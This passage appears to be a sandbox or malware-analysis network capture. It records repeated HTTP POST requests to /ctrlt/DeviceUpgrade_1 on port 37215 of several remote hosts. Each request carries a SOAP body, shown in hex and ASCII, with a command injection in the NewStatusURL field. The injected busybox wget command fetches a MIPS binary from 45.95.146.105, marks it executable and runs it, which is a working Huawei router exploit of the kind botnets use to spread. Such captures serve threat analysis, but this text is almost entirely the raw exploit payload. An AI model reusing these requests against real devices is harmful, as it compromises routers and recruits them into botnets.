6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:07.762923002 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	35868	156.241.12.227	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:08.397792101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:12.542444944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:18.689625025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:30.719906092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:55.800440073 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:44.949497938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	50470	45.43.239.192	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:11.563443899 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:12.382481098 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:13.342344999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 